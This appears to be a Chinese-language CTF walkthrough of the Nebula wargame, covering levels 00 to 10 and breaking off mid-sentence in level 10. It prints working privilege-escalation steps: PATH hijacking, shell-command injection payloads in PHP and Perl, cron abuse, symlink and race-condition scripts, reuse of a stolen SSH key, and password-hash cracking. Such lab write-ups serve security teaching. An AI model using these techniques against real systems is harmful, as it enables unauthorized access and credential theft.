├── Level00——寻找特权程序.org ├── Level01——环境变量的利用.org ├── Level02——可执行任意文件漏洞.org ├── Level03——利用计划任务提权.org ├── Level04——绕过限制获得token.org ├── Level05——窃取机密文件.org ├── Level06——破解Linux登录密码.org ├── Level07——Perl脚本可执行任意文件漏洞.org ├── Level08——分析TCP数据包.org ├── Level09——PHP正则表达式的安全问题.org ├── Level10——访问竞态条件漏洞.org ├── Level11——又一可执行任意文件漏洞.org ├── Level12——攻击Lua脚本.org ├── Level13——再次窃取token.org ├── Level14——破解加密程序.org ├── Level15——动态链接库劫持.org ├── Level16——再战Perl脚本可执行任意文件漏洞.org ├── Level17——Python的pickle格式可执行脚本漏洞.org ├── Level18——资源未释放漏洞.org ├── Level19——进程的突破.org ├── README.org ├── img └── donate.png └── 简介.org /Level00——寻找特权程序.org: -------------------------------------------------------------------------------- 1 | 根据题目描述,本关需要在系统中搜索一个设置了SUID的程序,这个程序将是以flag00身份运行的。 2 | 3 | 要完成本关,需要掌握find命令的使用。find命令的格式如下: 4 | 5 | #+BEGIN_EXAMPLE 6 | find [path...] [expression] 7 | #+END_EXAMPLE 8 | 9 | expression可以跟选项。更加具体的用法,请通过百度或者man学习。根据题目的要求,我们需要查找一个所属于flag00账号的可执行程序。find有个选项叫-uid,后面跟用户的uid值。每个Linux账号都对应一个uid,且不重复。账户的UID可以用命令`id`查看: 10 | 11 | #+BEGIN_SRC shell 12 | flag00@nebula:~$ id flag00 13 | uid=999(flag00) gid=999(flag00) groups=999(flag00) 14 | #+END_SRC 15 | 16 | 得到flag00的UID为999,接着从根目录“/”开始搜索这个神秘的程序: 17 | 18 | #+BEGIN_SRC shell 19 | level00@nebula:~$ find / -uid 999 2>/dev/null 20 | /home/flag00 21 | /home/flag00/.profile 22 | /home/flag00/.bash_logout 23 | /home/flag00/.bashrc 24 | /bin/.../flag00 25 | #+END_SRC 26 | 27 | 由于当前用户是level00,在进一些没有权限进入的目录进行搜索的时候,是会出错的,所以用2>/dev/null将错误输出到/dev/null这个空白设备里。Linux标准输入、标准错误输出分别对应0、1和2。 28 | 29 | 搜索结果中,~/bin/.../flag00~ 看上去比较特殊,应该就是我们要的程序。执行下面命令获得权限: 30 | 31 | #+BEGIN_SRC shell 32 | level00@nebula:~$ /bin/.../flag00 33 | Congrats, now run getflag to get your flag! 34 | #+END_SRC 35 | 36 | 按照提示,我们已经拥有flag00的权限了,执行getflag试试: 37 | 38 | #+BEGIN_SRC shell 39 | flag00@nebula:~$ getflag 40 | You have successfully executed getflag on a target account 41 | #+END_SRC 42 | -------------------------------------------------------------------------------- /Level01——环境变量的利用.org: -------------------------------------------------------------------------------- 1 | flag01的源码官方已经提供,这道题目是让我们分析该代码,找出代码中存在的一处可执行任意文件漏洞。题目提供的代码如下: 2 | 3 | #+BEGIN_SRC c 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | int main(int argc, char **argv, char **envp) 11 | { 12 | gid_t gid; 13 | uid_t uid; 14 | gid = getegid(); 15 | uid = geteuid(); 16 | 17 | setresgid(gid, gid, gid); 18 | setresuid(uid, uid, uid); 19 | 20 | system("/usr/bin/env echo and now what?"); 21 | } 22 | #+END_SRC 23 | 24 | 分析可执行任意文件漏洞的重点是先找到程序中执行命令的地方。通过分析上面的源码中可以看到程序调用了system函数,system函数可以执行指定的Shell命令,在这里system执行的/usr/bin/env命令,注意system的参数是一个字符串而非变量,所以我们不能直接控制system函数的行为。那重点就放在了env命令上,通过man env得到的帮助如下: 25 | 26 | #+BEGIN_EXAMPLE 27 | env - run a program in a modified environment 28 | #+END_EXAMPLE 29 | 30 | 简单来讲,env的参数是要执行的Shell命令,env会遍历PATH环境变量中的路径来寻找要执行的命令。env命令常出现在脚本文件的第一行,比如 31 | 32 | #+BEGIN_EXAMPLE 33 | #!/usr/bin/env python 34 | #+END_EXAMPLE 35 | 36 | 这样写的好处是为了防止把位置写死,如果写成“#!/usr/bin/python”的话,在其他一些系统中,~python~ 命令未必在 ~/usr/bin~ 目录中。用了env,不管python在哪个目录中,只要目录列在PATH环境变量中,就可以被找到。 37 | 38 | 所以,真正的问题是出在PATH变量上,虽然调用的参数无法被控制,但它执行命令受限于外部PATH变量,而PATH变量是可控的。env是依次遍历PATH变量中的目录,只要我们让env优先找到伪装的echo命令,就起到了劫持作用。 39 | 40 | 并且flag01被设置了SUID,所以会以flag01帐号身份运行程序: 41 | 42 | #+BEGIN_EXAMPLE 43 | -rwsr-x--- 1 flag01 level01 7322 Nov 20 2011 flag01* 44 | #+END_EXAMPLE 45 | 46 | 我们可让/tmp/echo链接到/bin/getflag上,然后修改PATH环境变量,把/tmp放在最前面,这样env会首先在/tmp下找到echo并执行(并且是以flag01身份运行)。 47 | 48 | #+BEGIN_EXAMPLE 49 | level01@nebula:~$ cd /tmp/ 50 | level01@nebula:/tmp$ ln -s /bin/getflag /tmp/echo 51 | level01@nebula:/tmp$ PATH=/tmp:$PATH # 让/tmp出现在PATH最前面 52 | level01@nebula:/tmp$ cd /home/flag01 53 | level01@nebula:/home/flag01$ ./flag01 # 提权成功 54 | You have successfully executed getflag on a target account 55 | #+END_EXAMPLE 56 | -------------------------------------------------------------------------------- /Level02——可执行任意文件漏洞.org: -------------------------------------------------------------------------------- 1 | 这关的程序存在一个可以执行任意程序的漏洞,题目提供了完整的源码: 2 | 3 | #+BEGIN_SRC c 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | 10 | int main(int argc, char **argv, char **envp) 11 | { 12 | char *buffer; 13 | gid_t gid; 14 | uid_t uid; 15 | 16 | gid = getegid(); 17 | uid = geteuid(); 18 | 19 | setresgid(gid, gid, gid); 20 | setresuid(uid, uid, uid); 21 | 22 | buffer = NULL; 23 | 24 | asprintf(&buffer, "/bin/echo %s is cool", getenv("USER")); 25 | printf("about to call system(\"%s\")\n", buffer); 26 | 27 | system(buffer); 28 | } 29 | #+END_SRC 30 | 31 | 和第一关思路一样,我们先找到执行系统命令的函数——函数体的最后句system,并且可看到system执行的字符串来源于变量,那么就应该回溯分析buffer变量是怎么生成的。 32 | 33 | 可看到buffer变量是经过asprintf拼接而成,而asprintf的第二个参数调用了getenv函数去获得环境变量USER的值(USER里是当前登录的用户名)。有了第一关经验,我们就知道环境变量是依赖于外部控制,默认下,asprintf组合的最终结果是:/bin/echo level02 is cool。 34 | 35 | 由于环境变量USER是可以控制的,所以可以把USER变量替换掉。USER变量如果被改成;/bin/getflag,等于是在执行完echo语句后,紧接着就执行/bin/getflag了(执行多条命令用“;”隔开): 36 | 37 | #+BEGIN_EXAMPLE 38 | level02@nebula:/home/flag02$ USER=";/bin/getflag" 39 | level02@nebula:/home/flag02$ ./flag02 40 | about to call system("/bin/echo ;/bin/getflag is cool") 41 | 42 | You have successfully executed getflag on a target account 43 | #+END_EXAMPLE 44 | -------------------------------------------------------------------------------- /Level03——利用计划任务提权.org: -------------------------------------------------------------------------------- 1 | 根据官方的提示,这关有一个Crontab脚本,它会每间隔两分钟自动执行/home/flag03下的writable.sh。(可以用nebula帐号登录系统,通过sudo ls /var/spool/cron/crontabs看到Crontab设置) 2 | 3 | 而writable.sh内容如下: 4 | 5 | #+BEGIN_SRC shell 6 | #!/bin/sh 7 | for i in /home/flag03/writable.d/*;do 8 | (ulimit -t 5;bash -x "$i") 9 | rm -f "$i" 10 | done 11 | #+END_SRC 12 | 13 | 这个Crontab脚本做的事是自动执行/home/flag03/writable.d目录里的所有文件,之后再删除。ulimit -t 5限制了cpu使用时间,这个不太要紧,最重要的是我们要利用writable.d这个目录做点事儿,这个crontab是以flag03的身份创建的,因此每次执行都是以flag03这个身份的,而writable.d这个目录任何人可读可写,所以只需放一个可执行脚本在writable.d里,等着它自动运行: 14 | 15 | #+BEGIN_EXAMPLE 16 | level03@nebula:/home/flag03$ cd writable.d/ 17 | level03@nebula:/home/flag03/writable.d$ echo "/bin/getflag > /tmp/lu4nx" > run 18 | level03@nebula:/home/flag03/writable.d$ cat run 19 | #+END_EXAMPLE 20 | 21 | 等待两分钟后writable.sh将会被执行,由于writable.sh的执行,导致writable.d里的run也会随着被执行,接着我们查看结果: 22 | 23 | #+BEGIN_EXAMPLE 24 | level03@nebula:/tmp$ cat lu4nx 25 | You have successfully executed getflag on a target account 26 | #+END_EXAMPLE 27 | 28 | 本关很好地体现出权限不严格导致的结果。 29 | -------------------------------------------------------------------------------- /Level04——绕过限制获得token.org: -------------------------------------------------------------------------------- 1 | 在/home/flag04中有个两个文件,一个是可执行文件,一个是token文本文件。要求绕过flag04的限制来读出token的内容,这个token就帐号flag04的登录密码。 2 | 3 | 是不是想直接就打开token了?通过ls -al可以看到,token的权限是-rw-------,所属用户是flag04,就是说,除root权限外只有flag04这个用户可以对它进行读取操作。而flag04这个可执行程序的所属用户组是flag04,我们当前的用户level04和flag04都是属于同一用户组的,而程序对这个用户组仅有x(执行)权限,所以只有通过flag04下手了。 仔细看看flag04的源码,找出问题: 4 | 5 | #+BEGIN_SRC c -nw 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | int main(int argc, char **argv, char **envp) 14 | { 15 | char buf[1024]; 16 | int fd, rc; 17 | 18 | if(argc == 1) { 19 | printf("%s [file to read]\n", argv[0]); 20 | exit(EXIT_FAILURE); 21 | } 22 | 23 | if(strstr(argv[1], "token") != NULL) { 24 | printf("You may not access '%s'\n", argv[1]); 25 | exit(EXIT_FAILURE); 26 | } 27 | 28 | fd = open(argv[1], O_RDONLY); 29 | if(fd == -1) { 30 | err(EXIT_FAILURE, "Unable to open %s", argv[1]); 31 | } 32 | 33 | rc = read(fd, buf, sizeof(buf)); 34 | 35 | if(rc == -1) { 36 | err(EXIT_FAILURE, "Unable to read fd %d", fd); 37 | } 38 | 39 | write(1, buf, rc); 40 | } 41 | #+END_SRC 42 | 43 | 44 | 注意代码中第23行,它是对参数1进行open操作,参数1跟的是文件名。但是,这个文件名中不可含有“token”字符串,因为在代码18行被限制了,如果文件名中包含“token”字符串,程序会直接提示”You may not access 'token' ”,并且退出执行。 45 | 46 | 问题在于:strstr函数,它会找出指定的关键字(这里是token)在字符串中第一次出现的位置,如果没有找到,就返回NULL。因此,只要我们保证文件名里不包含“token”字符串就是了。 虽然我们没有权限更改token文件的文件名,但是我们可以新建一个链接类型的文件,指向/home/flag04/token,再执行flag04: 47 | 48 | #+BEGIN_EXAMPLE 49 | level04@nebula:/home/flag04$ cd /tmp/ 50 | level04@nebula:/tmp$ ln -s /home/flag04/token flag04 51 | level04@nebula:/tmp$ /home/flag04/flag04 /tmp/flag04 52 | 06508b5e-8909-4f38-b630-fdb148a848a2 53 | #+END_EXAMPLE 54 | 55 | 读出的这个token是flag04这个账号的密码,登录并执行getflag: 56 | 57 | #+BEGIN_EXAMPLE 58 | level04@nebula:/tmp$ su flag04 59 | Password: 60 | sh-4.2$ getflag 61 | You have successfully executed getflag on a target account 62 | #+END_EXAMPLE 63 | -------------------------------------------------------------------------------- /Level05——窃取机密文件.org: -------------------------------------------------------------------------------- 1 | 根据题目所述,在/home/flag05里,藏着一个重要的文件。如果能窃得,将不得了。转到目录/home/flag05下,用ls -al命令,列出所有文件: 2 | 3 | #+BEGIN_EXAMPLE 4 | level05@nebula:/home/flag05$ ls -al 5 | total 36 6 | 1drwxr-x--- 5 flag05 level05 4096 2012-08-25 13:52 . 7 | drwxr-xr-x 43 root root 4096 2011-11-20 20:21 .. 8 | drwxr-xr-x 2 flag05 flag05 4096 2011-11-20 20:13 .backup 9 | -rw------- 1 flag05 flag05 14 2012-08-25 13:52 .bash_history 10 | -rw-r--r-- 1 flag05 flag05 220 2011-05-18 02:54 .bash_logout 11 | -rw-r--r-- 1 flag05 flag05 3353 2011-05-18 02:54 .bashrc 12 | drwx------ 2 flag05 flag05 4096 2012-08-25 13:49 .cache 13 | -rw-r--r-- 1 flag05 flag05 675 2011-05-18 02:54 .profile 14 | drwx------ 2 flag05 flag05 4096 2011-11-20 20:13 .ssh 15 | #+END_EXAMPLE 16 | 17 | 根据文件名来判断重要的文件,这里有两个比较重要,第一个是.backup,第二个是.ssh,前者,我们可以理解成一个备份文件,应该是重要文件的备份;后者,或许保存了私钥,如果得手,或许就可以ssh了,但是level05这个账号对.ssh的权限不够。不过.backup倒是有足够的权限进入: 18 | 19 | #+BEGIN_EXAMPLE 20 | level05@nebula:/home/flag05/.backup$ ls -al 21 | total 12 22 | drwxr-xr-x 2 flag05 flag05 4096 2011-11-20 20:13 . 23 | drwxr-x--- 5 flag05 level05 4096 2012-08-25 13:52 .. 24 | -rw-rw-r-- 1 flag05 flag05 1826 2011-11-20 20:13 backup-19072011.tgz 25 | #+END_EXAMPLE 26 | 27 | .backup里有个压缩文件,需要我们解压,不可解压到当前目录,因为没有写入权限。得把它解压到/tmp(记得/tmp权限很低)中,看看有什么东西: 28 | 29 | #+BEGIN_EXAMPLE 30 | level05@nebula:/home/flag05/.backup$ tar xvf backup-19072011.tgz -C /tmp/ 31 | .ssh/ 32 | .ssh/id_rsa.pub 33 | .ssh/id_rsa 34 | .ssh/authorized_keys 35 | #+END_EXAMPLE 36 | 37 | 是备份的key,如此以来,我们就可以用私钥以flag05登录系统。把.ssh保存到level05的家目录中(ssh验证时用的私钥公钥就放在家目录中的.ssh目录里),然后ssh登录: 38 | 39 | #+BEGIN_EXAMPLE 40 | level05@nebula:~$ cp -r /tmp/.ssh/ ~ 41 | level05@nebula:~$ ssh flag05@localhost 42 | #+END_EXAMPLE 43 | 44 | 成功登录后执行getflag: 45 | 46 | #+BEGIN_EXAMPLE 47 | flag05@nebula:~$ getflag 48 | You have successfully executed getflag on a target account 49 | #+END_EXAMPLE 50 | -------------------------------------------------------------------------------- /Level06——破解Linux登录密码.org: -------------------------------------------------------------------------------- 1 | 根据题目所述,flag06这个帐号的认证凭据是按照传统UNIX的方法储存的——意味着密文是存储在/etc/passwd里的,而不是/etc/shadow中的——因为把密码存到passwd里不安全,所以后的Linux发行版都将加密后的密码单独存放到/etc/shadow中的。 2 | 3 | 所以可以直接读取/etc/passwd里flag06加密后的密码: 4 | 5 | #+BEGIN_EXAMPLE 6 | level06@nebula:/home/flag06$ cat /etc/passwd | grep flag06 7 | flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh 8 | #+END_EXAMPLE 9 | 10 | 以下过程我都不是在exploit-exercises虚拟机上弄的,而是在我实体机上的Linux里弄的,为了方便安装john而已。有BackTrack的朋友可以选择把导出的记录放到BackTrack中解决,就可以节省很多步骤了: 11 | 12 | 先/tmp中建了个passwd文件内容如下: 13 | 14 | #+BEGIN_EXAMPLE 15 | flag06:ueqwOCnSGdsuM:993:993::/home/flag06:/bin/sh 16 | #+END_EXAMPLE 17 | 18 | 接着从http://www.openwall.com/john/ 下载john的源码包并编译(不会的请见doc/INSTALL): 19 | 20 | #+BEGIN_EXAMPLE 21 | lu4nx@lx:~/john-1.7.9$ cd src 22 | lu4nx@lx:~/john-1.7.9$ make 23 | #+END_EXAMPLE 24 | 25 | 这时,会提示选择操作系统平台,我选的是linux-ia64(读者按自己环境来选择): 26 | 27 | #+BEGIN_EXAMPLE 28 | lu4nx@lx:~/john-1.7.9/src$ make clean linux-ia64 29 | #+END_EXAMPLE 30 | 31 | 之后是一段编译过程,稍等片刻。成功之后,进入跟src同级的run目录,然后执行join: 32 | 33 | #+BEGIN_EXAMPLE 34 | lu4nx@lx:~/john-1.7.9/src$ cd ../run 35 | lu4nx@lx:~/john-1.7.9/run$ ./john /tmp/passwd #john后跟刚才导出的密码文件 36 | Loaded 1 password hash (Traditional DES [64/64 BS]) 37 | hello (flag06) 38 | guesses: 1 time: 0:00:00:00 100% (2) c/s: 1813 trying: 123456 - magic 39 | Use the "--show" option to display all of the cracked passwords reliably 40 | #+END_EXAMPLE 41 | 42 | hello就是破解出的密码。之前我还担心字典问题呢,怕它设置的密码在默认字典里找不到呢,看来我担心是多余的。 43 | 44 | 用这个密码在虚拟机上登陆flag06,然后执行getflag: 45 | 46 | #+BEGIN_EXAMPLE 47 | flag06@nebula:~$ getflag 48 | You have successfully executed getflag on a target account 49 | #+END_EXAMPLE 50 | -------------------------------------------------------------------------------- /Level07——Perl脚本可执行任意文件漏洞.org: -------------------------------------------------------------------------------- 1 | 在/home/flag07这个目录中,有一个index.cgi和thttpd.conf。它是一个cgi程序,既然是一个cgi程序,我们需要客户端访问,根据thttpd.conf配置文件中的内容,得知端口号是7007。 2 | 3 | 这关考验的是分析这个index.cgi,我们先看下它的源码: 4 | 5 | #+BEGIN_SRC perl 6 | #!/usr/bin/perl 7 | 8 | use CGI qw{param}; 9 | 10 | print "Content-type: text/html\n\n"; 11 | 12 | sub ping { 13 | $host = $_[0]; 14 | 15 | print("Ping results
");
16 | 
17 |       @output = `ping -c 3 $host 2>&1`;
18 |       foreach $line (@output) { print "$line"; }
19 | 
20 |       print("
"); 21 | 22 | } 23 | 24 | # check if Host set. if not, display normal page, etc 25 | 26 | ping(param("Host")); 27 | #+END_SRC 28 | 29 | 这段代码的功能是通过调用外部的ping命令去ping指定的ip地址,ip地址通过参数获得:$host = $_[0];。然后加了-c参数——指定了发送数据包的数量为3。最后,程序会把ping的结果返回到客户端的浏览器中。 30 | 31 | 我们先配置好虚拟机的地址,保障实体机的系统可以正常访问,我这里为它配置 32 | 的地址是192.168.56.101。实体机访问 http://192.168.56.101:7007/index.cgi 可以成功访问,然后提交URI:http://192.168.56.101:7007/index.cgi?Host=127.0.0.1 即可看到回显结果,注意参数Host开头是大写,index.cgi最后行代码决定了参数: 33 | 34 | #+BEGIN_SRC perl 35 | param("Host") 36 | #+END_SRC 37 | 38 | 这段Perl脚本的漏洞出现在以下代码上: 39 | 40 | #+BEGIN_SRC perl 41 | @output = `ping -c 3 $host 2>&1`; 42 | #+END_SRC 43 | 44 | 这句出现了可执行任意文件漏洞。在Perl中,“`”(Tab键上的那个键)符号之间的内容是调用的外部命令。 45 | 46 | 为了方便,我在本地写了个html页面方便提交,读者也可以用nc、curl等工具提交: 47 | 48 | #+BEGIN_SRC html 49 | 50 | test 51 | 52 | 53 |
54 | 55 | 56 |
57 | 58 | 59 | 60 | #+END_SRC 61 | 62 | 然后,用浏览器打开这个html文件,输入:127.0.0.1;whoami,提交,显示结果中的最后行多出个“flag07”,说明当前以flag07身份执行的。于是继续提交127.0.0.1;getflag,显示结果: 63 | 64 | #+BEGIN_EXAMPLE 65 | PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 66 | 64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.018 ms 67 | 64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.051 ms 68 | 64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.057 ms 69 | 70 | --- 127.0.0.1 ping statistics --- 71 | 3 packets transmitted, 3 received, 0% packet loss, time 1998ms 72 | rtt min/avg/max/mdev = 0.018/0.042/0.057/0.017 ms 73 | You have successfully executed getflag on a target account 74 | #+END_EXAMPLE 75 | 76 | 注意到最后行:You have successfully executed getflag on a target account。 77 | -------------------------------------------------------------------------------- /Level08——分析TCP数据包.org: -------------------------------------------------------------------------------- 1 | 在/home/flag08目录中有个文件叫capture.pcap,它是一个抓包后的数据文件。根据题目提示,flag8的帐号密码就存在于这个文件中。我通过sftp把它下载到本地进行分析,因为我实体地安装了wireshark的: 2 | 3 | #+BEGIN_EXAMPLE 4 | lu4nx@lx:~$ sftp level08@192.168.56.101 5 | sftp> cd /home/flag08 6 | sftp> get capture.pcap /home/lu4nx 7 | Fetching /home/flag08/capture.pcap to /home/lu4nx/capture.pcap 8 | /home/flag08/capture.pcap 9 | #+END_EXAMPLE 10 | 11 | 然后用wireshark打开这个抓包文件,可以看到全部是TCP协议的数据包。点“Analyze”菜单,选择Follow TCP Stream,这样直观显示了TCP的数据流,为了方便显示,我把“Follow TCP Stream”窗口中右下角选成了“Hex Dump”,这样更加利于我观察。简单看看,是一个交互式登陆的抓包,注意到这段数据: 12 | 13 | #+BEGIN_EXAMPLE 14 | 000000D5 01 . 15 | 000000D6 00 0d 0a 50 61 73 73 77 6f 72 64 3a 20 ...Passw ord: 16 | 000000B9 62 b 17 | 000000BA 61 a 18 | 000000BB 63 c 19 | 000000BC 6b k 20 | 000000BD 64 d 21 | 000000BE 6f o 22 | 000000BF 6f o 23 | 000000C0 72 r 24 | 000000C1 7f . 25 | 000000C2 7f . 26 | 000000C3 7f . 27 | 000000C4 30 0 28 | 000000C5 30 0 29 | 000000C6 52 R 30 | 000000C7 6d m 31 | 000000C8 38 8 32 | 000000C9 7f . 33 | 000000CA 61 a 34 | 000000CB 74 t 35 | 000000CC 65 e 36 | 000000CD 0d . 37 | #+END_EXAMPLE 38 | 39 | 这段数据表示服务端要求用户提供密码,接下来的数据是用户输入密码的过程,最后按了回车提交(0d是回车键的ASCII码)。不过7f那里是一个无法用符号显示的ASCII码,为此,我查了ASCII码表,得知7f是del的ASCII码。上面的意思就是,用户输入到backdoor的时候,删除了三个字符,然后输入00Rm8后,又删除了一个字符,最后再输入ate,然后摁下回车键。所以最终结果拼凑起来就是:backd00Rmate。 40 | 41 | 试着用这个密码登录系统, 42 | 43 | #+BEGIN_EXAMPLE 44 | flag08@192.168.56.101's password: 45 | Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686) 46 | 47 | ,* Documentation: https://help.ubuntu.com/ 48 | Last login: Sat Aug 25 16:29:22 2012 from 192.168.56.1 49 | flag08@nebula:~$ getflag 50 | You have successfully executed getflag on a target account 51 | #+END_EXAMPLE 52 | -------------------------------------------------------------------------------- /Level09——PHP正则表达式的安全问题.org: -------------------------------------------------------------------------------- 1 | 题目中给出了一段有漏洞的php代码: 2 | 3 | #+BEGIN_SRC php 4 | ", $contents); 21 | 22 | return $contents; 23 | } 24 | 25 | $output = markup($argv[1], $argv[2]); 26 | 27 | print $output; 28 | 29 | ?> 30 | #+END_SRC 31 | 32 | 这段代码通过正则表达式匹配[email xxx@xxx],将“.”替换成“dot”,将“@”替换成“AT”。假设/tmp/lx的文件内容如下: 33 | 34 | #+BEGIN_EXAMPLE 35 | [email lxff@21cn.com] 36 | #+END_EXAMPLE 37 | 38 | 执行./flag09 /tmp/lx,将得到: 39 | 40 | #+BEGIN_EXAMPLE 41 | lxff AT 21cn dot com 42 | #+END_EXAMPLE 43 | 44 | 但是,我们注意这段代码: 45 | 46 | #+BEGIN_SRC php 47 | $contents=preg_replace("/(\[email (.*)\])/e","spam(\"\\2\")",$contents); 48 | #+END_SRC 49 | 50 | preg_replace第一个参数后使用了/e,即使用了/e模式,如果启用该模式,那么preg_replace的第二个参数将会被作为代码执行。前段时间Thinkphp也出现了这种漏洞。 51 | 52 | 在php变量引用中,如果双引号的字符串出现了“$变量名”或“${变量}”的形式,最终引用的是变量值。同样的思想,如果是函数,则引用的是函数的返回结果。 53 | 54 | 如果/tmp/lx的内容改成这样: 55 | 56 | #+BEGIN_EXAMPLE 57 | [email "${${phpinfo()}}" ] 58 | #+END_EXAMPLE 59 | 60 | 最终phpinfo这个函数会被执行。php中也有system函数,可拿来执行外部的shell命令,所以把/tmp/lx的内容改一下: 61 | 62 | #+BEGIN_EXAMPLE 63 | [email "{${system(getflag)}}"] 64 | #+END_EXAMPLE 65 | 66 | 接着再来执行: 67 | 68 | #+BEGIN_EXAMPLE 69 | level09@nebula:/home/flag09$ ./flag09 /tmp/lx 70 | PHP Notice: Undefined offset: 2 in /home/flag09/flag09.php on line 22 71 | PHP Notice: Use of undefined constant getflag - assumed 'getflag' in /home/flag09/flag09.php(15) : regexp code on line 1 72 | You have successfully executed getflag on a target account 73 | PHP Notice: Undefined variable: You have successfully executed getflag on a target account in /home/flag09/flag09.php(15) : regexp code on line 1 74 | "" 75 | #+END_EXAMPLE 76 | 77 | 注意倒数第三行:You have successfully executed getflag on a target account 78 | -------------------------------------------------------------------------------- /Level10——访问竞态条件漏洞.org: -------------------------------------------------------------------------------- 1 | 在/home/flag10目录下有两个文件:flag10和token。其中`token`里保存了flag10帐号的登录密码,要求利用`flag10`程序去读出。 2 | 3 | 这关是一个很经典的文件访问竞态条件漏洞。文件访问竞态条件漏洞,也可称作为“TOCTOU漏洞“——time of check,time of use。这种类型的漏洞描述了这样一个问题: 4 | 5 | 当在使用一个文件之前,先判断当前用户是否具有对该文件操作的权限,如果有,才可以继续。这种思路流程如下: 6 | 7 | #+BEGIN_SRC c 8 | if (access(file,R_OK)) { 9 | int f = open(file,O_RDONLY); 10 | ..... 11 | } else { 12 | printf("error\n"); 13 | exit(1); 14 | } 15 | #+END_SRC 16 | 17 | 在上面代码中,首先用access函数判断当前用户是否有操作文件的权限(access函数用的是进程的uid来作为判断),如果当前用户没有针对该文件的权限,则打印ERROR;有则open它。在早期的单处理操作系统中,这样的代码可能是严谨的,出发点也是好的——因为单处理的话,进程执行完毕后才发生切换。但是在多任务的操作系统中有这样一个问题:在用access检查文件后,这个程序可能受到其他程序的干扰或者发生进程切换,在进程发生切换之后,进程失去了执行流程,并且在它还未再次获得执行时,它欲操作的文件发生改变——邪恶源头是因为access和open都是通过文件路径字符串作为参数的,这个路径可能是一个链接文件。在Linux中,假设要access一个/tmp/lx文件,在access后、open之前,/tmp/lx被替换成了一个链接文件,指向了其他文件(如/etc/passwd),如果这个进程有对/etc/passwd操作的权限,它最终所操作的并不是真正的/tmp/lx,而是/etc/passwd。 18 | 19 | 现在来看题目给出的完整代码: 20 | 21 | #+BEGIN_SRC c 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | #include 29 | #include 30 | #include 31 | 32 | int main(int argc, char **argv) 33 | { 34 | char *file; 35 | char *host; 36 | 37 | if(argc < 3) { 38 | printf("%s file host\n\tsends file to host if you have access to it\n", argv[0]); 39 | exit(1); 40 | } 41 | 42 | file = argv[1]; 43 | host = argv[2]; 44 | 45 | if(access(argv[1], R_OK) == 0) { 46 | int fd; 47 | int ffd; 48 | int rc; 49 | struct sockaddr_in sin; 50 | char buffer[4096]; 51 | 52 | printf("Connecting to %s:18211 .. ", host); fflush(stdout); 53 | 54 | fd = socket(AF_INET, SOCK_STREAM, 0); 55 | 56 | memset(&sin, 0, sizeof(struct sockaddr_in)); 57 | sin.sin_family = AF_INET; 58 | sin.sin_addr.s_addr = inet_addr(host); 59 | sin.sin_port = htons(18211); 60 | 61 | if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) { 62 | printf("Unable to connect to host %s\n", host); 63 | exit(EXIT_FAILURE); 64 | } 65 | 66 | #define HITHERE ".oO Oo.\n" 67 | if(write(fd, HITHERE, strlen(HITHERE)) == -1) { 68 | printf("Unable to write banner to host %s\n", host); 69 | exit(EXIT_FAILURE); 70 | } 71 | #undef HITHERE 72 | 73 | printf("Connected!\nSending file .. "); fflush(stdout); 74 | 75 | ffd = open(file, O_RDONLY); 76 | if(ffd == -1) { 77 | printf("Damn. Unable to open file\n"); 78 | exit(EXIT_FAILURE); 79 | } 80 | 81 | rc = read(ffd, buffer, sizeof(buffer)); 82 | if(rc == -1) { 83 | printf("Unable to read from file: %s\n", strerror(errno)); 84 | exit(EXIT_FAILURE); 85 | } 86 | 87 | write(fd, buffer, rc); 88 | 89 | printf("wrote file!\n"); 90 | 91 | } else { 92 | printf("You don't have access to %s\n", file); 93 | } 94 | } 95 | #+END_SRC 96 | 97 | 如果当前用户可以访问某个文件,access反回值是0,注意代码第24行的这句: 98 | 99 | #+BEGIN_SRC c 100 | if(access(argv[1],R_OK)==0){ 101 | #+END_SRC 102 | 103 | 一切操作必须通过这段if之后,才可以进行,否则程序会跳到第71行,打印信息后退出。我最初的想法是通过gdb在access函数执行后的位置下断点,然后改变eax的值,但是后来经过大量测试,我发现这样做open始终都返回的是-1,然后我简单看了下Linux源码中access和open的底层实现,也没发现问题。之后通过谷歌搜索资料才了解到,原来针对suid的程序,通过gdb调试,suid是没有生效的,除非当前身份是root权限。 104 | 105 | 继续分析代码,这段代码建立了一个socket连接,连接到18211端口上,然后发送一个“banner”(内容是".oO Oo.\n",由代码第45行的宏定义。之后open指定的文件,如果打开成功,就把内容发送到建立的通信连接里。 106 | 107 | 参考了www.mattandreko.com后,我整理了下思路: 108 | 109 | 1. 在本地监听一个端口; 110 | 111 | 2. 让flag10这个可执行性程序去access一个当前用户有权限访问的文件(在/tmp中建立一个); 112 | 113 | 3. 删除掉建立的那个文件,再建立一个指向/home/flag10/token的链接文件。 114 | 115 | 首先,就在tty1里用nc监听18211端口: 116 | 117 | #+BEGIN_SRC shell 118 | nc -k -l 127.0.0.1 18211 119 | #+END_SRC 120 | 121 | 一定要用-k参数在连接结束之后强制保持连接状态,否则收到banner之后,连接就结束了。 122 | 123 | 之后,换到tty2(ctrl+alt+f2),到/tmp目录下建立一个文件: 124 | 125 | #+BEGIN_SRC shell 126 | touch /tmp/token 127 | #+END_SRC 128 | 129 | 再建立一个shell脚本,文件名xx: 130 | 131 | #+BEGIN_SRC shell 132 | #! /bin/bash 133 | 134 | while true 135 | do 136 | ln -fs /tmp/token /tmp/token10 137 | ln -fs /home/flag10/token /tmp/token10 138 | done 139 | #+END_SRC 140 | 141 | 加入可执行权限并执行: 142 | 143 | #+BEGIN_SRC shell 144 | chmod +x xx;./x 145 | #+END_SRC 146 | 147 | 然后切换到tty3,再在/tmp下建立yy: 148 | 149 | #+BEGIN_SRC shell 150 | #! /bin/bash 151 | 152 | while true 153 | do 154 | nice -n 19 /home/flag10/flag10 /tmp/token10 127.0.0.1 155 | done 156 | #+END_SRC 157 | 158 | 加入可执行权限,并执行: 159 | 160 | #+BEGIN_SRC shell 161 | chmod +x yy; ./y 162 | #+END_SRC 163 | 164 | nice -n 